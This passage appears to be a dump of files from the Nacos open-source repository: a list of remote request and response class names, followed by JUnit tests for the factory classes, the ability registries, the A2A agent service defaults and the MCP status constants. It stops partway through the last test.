    "content": "#\n#  Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n#\n#\ncom.alibaba.nacos.api.remote.request.ClientDetectionRequest\ncom.alibaba.nacos.api.remote.request.ConnectionSetupRequest\ncom.alibaba.nacos.api.remote.request.ConnectResetRequest\ncom.alibaba.nacos.api.remote.request.HealthCheckRequest\ncom.alibaba.nacos.api.remote.request.PushAckRequest\ncom.alibaba.nacos.api.remote.request.ServerCheckRequest\ncom.alibaba.nacos.api.remote.request.ServerLoaderInfoRequest\ncom.alibaba.nacos.api.remote.request.ServerReloadRequest\ncom.alibaba.nacos.api.remote.request.SetupAckRequest\ncom.alibaba.nacos.api.remote.response.SetupAckResponse\ncom.alibaba.nacos.api.remote.response.ClientDetectionResponse\ncom.alibaba.nacos.api.remote.response.ConnectResetResponse\ncom.alibaba.nacos.api.remote.response.ErrorResponse\ncom.alibaba.nacos.api.remote.response.HealthCheckResponse\ncom.alibaba.nacos.api.remote.response.ServerCheckResponse\ncom.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse\ncom.alibaba.nacos.api.remote.response.ServerReloadResponse\ncom.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest\ncom.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest\ncom.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest\ncom.alibaba.nacos.api.config.remote.request.ConfigPublishRequest\ncom.alibaba.nacos.api.config.remote.request.ConfigQueryRequest\ncom.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest\ncom.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigPublishResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigQueryResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse\ncom.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest\ncom.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse\ncom.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchRequest\ncom.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchResponse\ncom.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest\ncom.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchChangeNotifyResponse\ncom.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchSyncResponse\ncom.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest\n\ncom.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest\ncom.alibaba.nacos.api.naming.remote.request.InstanceRequest\ncom.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest\ncom.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest\ncom.alibaba.nacos.api.naming.remote.request.ServiceListRequest\ncom.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest\ncom.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest\ncom.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse\ncom.alibaba.nacos.api.naming.remote.response.InstanceResponse\ncom.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse\ncom.alibaba.nacos.api.naming.remote.response.QueryServiceResponse\ncom.alibaba.nacos.api.naming.remote.response.ServiceListResponse\ncom.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse\ncom.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchRequest\ncom.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchResponse\ncom.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchChangeNotifyRequest\ncom.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchChangeNotifyResponse\ncom.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchSyncRequest\ncom.alibaba.nacos.api.naming.remote.response.NamingFuzzyWatchSyncResponse\n\ncom.alibaba.nacos.api.lock.remote.request.LockOperationRequest\ncom.alibaba.nacos.api.lock.remote.response.LockOperationResponse\n\ncom.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest\ncom.alibaba.nacos.api.ai.remote.response.QueryMcpServerResponse\ncom.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest\ncom.alibaba.nacos.api.ai.remote.response.ReleaseMcpServerResponse\ncom.alibaba.nacos.api.ai.remote.request.McpServerEndpointRequest\ncom.alibaba.nacos.api.ai.remote.response.McpServerEndpointResponse\n\ncom.alibaba.nacos.api.ai.remote.request.QueryAgentCardRequest\ncom.alibaba.nacos.api.ai.remote.response.QueryAgentCardResponse\ncom.alibaba.nacos.api.ai.remote.request.QueryPromptRequest\ncom.alibaba.nacos.api.ai.remote.response.QueryPromptResponse\ncom.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest\ncom.alibaba.nacos.api.ai.remote.response.ReleaseAgentCardResponse\ncom.alibaba.nacos.api.ai.remote.request.AgentEndpointRequest\ncom.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse\ncom.alibaba.nacos.api.ai.remote.request.BatchAgentEndpointRequest"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/NacosFactoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api;\n\nimport com.alibaba.nacos.api.config.ConfigFactory;\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.NacosLockFactory;\nimport com.alibaba.nacos.api.lock.LockService;\nimport com.alibaba.nacos.api.naming.NamingFactory;\nimport com.alibaba.nacos.api.naming.NamingMaintainFactory;\nimport com.alibaba.nacos.api.naming.NamingMaintainService;\nimport com.alibaba.nacos.api.naming.NamingService;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.MockedStatic;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.mockStatic;\n\nclass NacosFactoryTest {\n    \n    @Test\n    void testCreateConfigServiceWithProperties() throws NacosException {\n        ConfigService configService = mock(ConfigService.class);\n        \n        try (MockedStatic<ConfigFactory> configFactoryMock = mockStatic(ConfigFactory.class)) {\n            configFactoryMock.when(() -> ConfigFactory.createConfigService((Properties) null))\n                    .thenReturn(configService);\n            \n            assertNotNull(NacosFactory.createConfigService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateConfigServiceWithServerAddr() throws NacosException {\n        ConfigService configService = mock(ConfigService.class);\n        \n        try (MockedStatic<ConfigFactory> configFactoryMock = mockStatic(ConfigFactory.class)) {\n            configFactoryMock.when(() -> ConfigFactory.createConfigService(\"localhost:8848\"))\n                    .thenReturn(configService);\n            \n            assertNotNull(NacosFactory.createConfigService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateNamingServiceWithServerAddr() throws NacosException {\n        NamingService namingService = mock(NamingService.class);\n        \n        try (MockedStatic<NamingFactory> namingFactoryMock = mockStatic(NamingFactory.class)) {\n            namingFactoryMock.when(() -> NamingFactory.createNamingService(\"localhost:8848\"))\n                    .thenReturn(namingService);\n            \n            assertNotNull(NacosFactory.createNamingService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateNamingServiceWithProperties() throws NacosException {\n        NamingService namingService = mock(NamingService.class);\n        \n        try (MockedStatic<NamingFactory> namingFactoryMock = mockStatic(NamingFactory.class)) {\n            namingFactoryMock.when(() -> NamingFactory.createNamingService((Properties) null))\n                    .thenReturn(namingService);\n            \n            assertNotNull(NacosFactory.createNamingService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateMaintainServiceWithServerAddr() throws NacosException {\n        NamingMaintainService namingMaintainService = mock(NamingMaintainService.class);\n        \n        try (MockedStatic<NamingMaintainFactory> namingMaintainFactoryMock = mockStatic(NamingMaintainFactory.class)) {\n            namingMaintainFactoryMock.when(() -> NamingMaintainFactory.createMaintainService(\"localhost:8848\"))\n                    .thenReturn(namingMaintainService);\n            \n            assertNotNull(NacosFactory.createMaintainService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateMaintainServiceWithProperties() throws NacosException {\n        NamingMaintainService namingMaintainService = mock(NamingMaintainService.class);\n        \n        try (MockedStatic<NamingMaintainFactory> namingMaintainFactoryMock = mockStatic(NamingMaintainFactory.class)) {\n            namingMaintainFactoryMock.when(() -> NamingMaintainFactory.createMaintainService((Properties) null))\n                    .thenReturn(namingMaintainService);\n            \n            assertNotNull(NacosFactory.createMaintainService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateLockService() throws NacosException {\n        LockService lockService = mock(LockService.class);\n        \n        try (MockedStatic<NacosLockFactory> nacosLockFactoryMock = mockStatic(NacosLockFactory.class)) {\n            nacosLockFactoryMock.when(() -> NacosLockFactory.createLockService((Properties) null))\n                    .thenReturn(lockService);\n            \n            assertNotNull(NacosFactory.createLockService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateConfigServiceWithPropertiesThrowException() {\n        try (MockedStatic<ConfigFactory> configFactoryMock = mockStatic(ConfigFactory.class)) {\n            configFactoryMock.when(() -> ConfigFactory.createConfigService((Properties) null))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createConfigService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateConfigServiceWithServerAddrThrowException() {\n        try (MockedStatic<ConfigFactory> configFactoryMock = mockStatic(ConfigFactory.class)) {\n            configFactoryMock.when(() -> ConfigFactory.createConfigService(\"localhost:8848\"))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createConfigService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateNamingServiceWithServerAddrThrowException() {\n        try (MockedStatic<NamingFactory> namingFactoryMock = mockStatic(NamingFactory.class)) {\n            namingFactoryMock.when(() -> NamingFactory.createNamingService(\"localhost:8848\"))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createNamingService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateNamingServiceWithPropertiesThrowException() {\n        try (MockedStatic<NamingFactory> namingFactoryMock = mockStatic(NamingFactory.class)) {\n            namingFactoryMock.when(() -> NamingFactory.createNamingService((Properties) null))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createNamingService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateMaintainServiceWithServerAddrThrowException() {\n        try (MockedStatic<NamingMaintainFactory> namingMaintainFactoryMock = mockStatic(NamingMaintainFactory.class)) {\n            namingMaintainFactoryMock.when(() -> NamingMaintainFactory.createMaintainService(\"localhost:8848\"))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createMaintainService(\"localhost:8848\"));\n        }\n    }\n    \n    @Test\n    void testCreateMaintainServiceWithPropertiesThrowException() {\n        try (MockedStatic<NamingMaintainFactory> namingMaintainFactoryMock = mockStatic(NamingMaintainFactory.class)) {\n            namingMaintainFactoryMock.when(() -> NamingMaintainFactory.createMaintainService((Properties) null))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createMaintainService((Properties) null));\n        }\n    }\n    \n    @Test\n    void testCreateLockServiceThrowException() {\n        try (MockedStatic<NacosLockFactory> nacosLockFactoryMock = mockStatic(NacosLockFactory.class)) {\n            nacosLockFactoryMock.when(() -> NacosLockFactory.createLockService((Properties) null))\n                    .thenThrow(new NacosException());\n            \n            assertThrows(NacosException.class, () -> NacosFactory.createLockService((Properties) null));\n        }\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ability/ClientAbilitiesTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientAbilitiesTest {\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ClientAbilities abilities = new ClientAbilities();\n        String json = mapper.writeValueAsString(abilities);\n        assertTrue(json.contains(\"\\\"remoteAbility\\\":{\"));\n        assertTrue(json.contains(\"\\\"configAbility\\\":{\"));\n        assertTrue(json.contains(\"\\\"namingAbility\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"remoteAbility\\\":{\\\"supportRemoteConnection\\\":false},\"\n                + \"\\\"configAbility\\\":{\\\"supportRemoteMetrics\\\":false},\\\"namingAbility\\\":{\\\"supportDeltaPush\\\":false,\"\n                + \"\\\"supportRemoteMetric\\\":false}}\";\n        ClientAbilities abilities = mapper.readValue(json, ClientAbilities.class);\n        assertNotNull(abilities.getRemoteAbility());\n        assertNotNull(abilities.getNamingAbility());\n        assertNotNull(abilities.getConfigAbility());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ability/ServerAbilitiesTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerAbilitiesTest {\n    \n    private static ObjectMapper mapper;\n    \n    private ServerAbilities serverAbilities;\n    \n    @BeforeAll\n    static void setUpBeforeClass() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        serverAbilities = new ServerAbilities();\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        serverAbilities = new ServerAbilities();\n        String json = mapper.writeValueAsString(serverAbilities);\n        assertTrue(json.contains(\"\\\"remoteAbility\\\":{\"));\n        assertTrue(json.contains(\"\\\"configAbility\\\":{\"));\n        assertTrue(json.contains(\"\\\"namingAbility\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"remoteAbility\\\":{\\\"supportRemoteConnection\\\":false},\"\n                + \"\\\"configAbility\\\":{\\\"supportRemoteMetrics\\\":false},\\\"namingAbility\\\":{\\\"supportDeltaPush\\\":false,\"\n                + \"\\\"supportRemoteMetric\\\":false}}\";\n        ServerAbilities abilities = mapper.readValue(json, ServerAbilities.class);\n        assertNotNull(abilities.getRemoteAbility());\n        assertNotNull(abilities.getNamingAbility());\n        assertNotNull(abilities.getConfigAbility());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        assertEquals(serverAbilities, serverAbilities);\n        assertEquals(serverAbilities.hashCode(), serverAbilities.hashCode());\n        assertNotEquals(null, serverAbilities);\n        assertNotEquals(serverAbilities, new ClientAbilities());\n        ServerAbilities test = new ServerAbilities();\n        assertEquals(serverAbilities, test);\n        assertEquals(serverAbilities.hashCode(), test.hashCode());\n        test.setRemoteAbility(null);\n        assertNotEquals(serverAbilities, test);\n        assertNotEquals(serverAbilities.hashCode(), test.hashCode());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ability/register/impl/ClusterClientAbilitiesTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClusterClientAbilitiesTest {\n    \n    @Test\n    void testGetStaticAbilities() {\n        // TODO add the cluster client abilities.\n        assertTrue(ClusterClientAbilities.getStaticAbilities().isEmpty());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ability/register/impl/SdkClientAbilitiesTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SdkClientAbilitiesTest {\n    \n    @Test\n    void testGetStaticAbilities() {\n        assertFalse(SdkClientAbilities.getStaticAbilities().isEmpty());\n        assertTrue(SdkClientAbilities.getStaticAbilities().get(AbilityKey.SDK_CLIENT_FUZZY_WATCH));\n        assertTrue(SdkClientAbilities.getStaticAbilities().get(AbilityKey.SDK_CLIENT_DISTRIBUTED_LOCK));\n        assertTrue(SdkClientAbilities.getStaticAbilities().get(AbilityKey.SDK_MCP_REGISTRY));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ability/register/impl/ServerAbilitiesTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ability.register.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerAbilitiesTest {\n    \n    @Test\n    void testGetStaticAbilities() {\n        assertFalse(ServerAbilities.getStaticAbilities().isEmpty());\n    }\n    \n    @Test\n    void testSupportPersistentInstanceByGrpcAbilities() {\n        assertTrue(ServerAbilities.getStaticAbilities().get(AbilityKey.SERVER_PERSISTENT_INSTANCE_BY_GRPC));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/A2aServiceDefaultMethodTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosAgentCardListener;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collection;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass A2aServiceDefaultMethodTest {\n    \n    private AtomicBoolean invokeMark;\n    \n    A2aService a2aService;\n    \n    @BeforeEach\n    void setUp() {\n        invokeMark = new AtomicBoolean(false);\n        a2aService = new A2aService() {\n            @Override\n            public AgentCardDetailInfo getAgentCard(String agentName, String version, String registrationType)\n                    throws NacosException {\n                invokeMark.set(true);\n                return null;\n            }\n            \n            @Override\n            public void releaseAgentCard(AgentCard agentCard, String registrationType, boolean setAsLatest)\n                    throws NacosException {\n                invokeMark.set(true);\n            }\n            \n            @Override\n            public void registerAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n                invokeMark.set(true);\n            }\n            \n            @Override\n            public void registerAgentEndpoint(String agentName, Collection<AgentEndpoint> endpoints)\n                    throws NacosException {\n                invokeMark.set(true);\n            }\n            \n            @Override\n            public void deregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n                invokeMark.set(true);\n            }\n            \n            @Override\n            public AgentCardDetailInfo subscribeAgentCard(String agentName, String version,\n                    AbstractNacosAgentCardListener agentCardListener) throws NacosException {\n                invokeMark.set(true);\n                return null;\n            }\n            \n            @Override\n            public void unsubscribeAgentCard(String agentName, String version,\n                    AbstractNacosAgentCardListener agentCardListener) throws NacosException {\n                invokeMark.set(true);\n            }\n        };\n    }\n    \n    @Test\n    void getAgentCard() throws NacosException {\n        a2aService.getAgentCard(\"\");\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void getAgentCardWithVersion() throws NacosException {\n        a2aService.getAgentCard(\"\", \"v1.0\");\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void releaseAgentCard() throws NacosException {\n        AgentCard agentCard = new AgentCard();\n        a2aService.releaseAgentCard(agentCard);\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void releaseAgentCardWithRegistrationType() throws NacosException {\n        AgentCard agentCard = new AgentCard();\n        a2aService.releaseAgentCard(agentCard, \"SERVICE\");\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void registerAgentEndpoint() throws NacosException {\n        a2aService.registerAgentEndpoint(\"\", \"v1.0\", \"127.0.0.1\", 8080);\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void registerAgentEndpointWithTransport() throws NacosException {\n        a2aService.registerAgentEndpoint(\"\", \"v1.0\", \"127.0.0.1\", 8080, \"JSONRPC\");\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void registerAgentEndpointWithTransportAndPath() throws NacosException {\n        a2aService.registerAgentEndpoint(\"\", \"v1.0\", \"127.0.0.1\", 8080, \"JSONRPC\", \"/test\");\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void registerAgentEndpointWithFullParams() throws NacosException {\n        a2aService.registerAgentEndpoint(\"\", \"v1.0\", \"127.0.0.1\", 8080, \"JSONRPC\", \"/test\", true);\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void deregisterAgentEndpoint() throws NacosException {\n        a2aService.deregisterAgentEndpoint(\"\", \"v1.0\", \"127.0.0.1\", 8080);\n        assertTrue(invokeMark.get());\n    }\n    \n    @Test\n    void subscribeAgentCard() throws NacosException {\n        a2aService.subscribeAgentCard(\"\", null);\n    }\n    \n    @Test\n    void unsubscribeAgentCard() throws NacosException {\n        a2aService.unsubscribeAgentCard(\"\", null);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/AiFactoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.NacosAiService;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass AiFactoryTest {\n    \n    @BeforeEach\n    void setUp() {\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void createAiServiceWithException() {\n        NacosAiService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> AiFactory.createAiService(new Properties()));\n    }\n    \n    @Test\n    void createAiServiceSuccess() throws NacosException {\n        NacosAiService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(AiFactory.createAiService(new Properties()));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/constant/AiConstantsStatusMappingTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.constant;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.McpServerStatusEnum;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AiConstantsStatusMappingTest {\n    \n    @Test\n    void testStatusConstantsAlignedWithEnum() {\n        // Verify that AiConstants.Mcp status constants match McpServerStatusEnum values\n        assertEquals(McpServerStatusEnum.ACTIVE.getName(), AiConstants.Mcp.MCP_STATUS_ACTIVE);\n        assertEquals(McpServerStatusEnum.DEPRECATED.getName(), AiConstants.Mcp.MCP_STATUS_DEPRECATED);\n        assertEquals(McpServerStatusEnum.DELETED.getName(), AiConstants.Mcp.MCP_STATUS_DELETED);\n    }\n    \n    @Test\n    void testStatusConstantValues() {\n        assertEquals(\"active\", AiConstants.Mcp.MCP_STATUS_ACTIVE);\n        assertEquals(\"deprecated\", AiConstants.Mcp.MCP_STATUS_DEPRECATED);\n        assertEquals(\"deleted\", AiConstants.Mcp.MCP_STATUS_DELETED);\n    }\n    \n    @Test\n    void testStatusCanBeParsedFromEnum() {\n        // Verify that we can parse the constants back to enum\n        McpServerStatusEnum active = 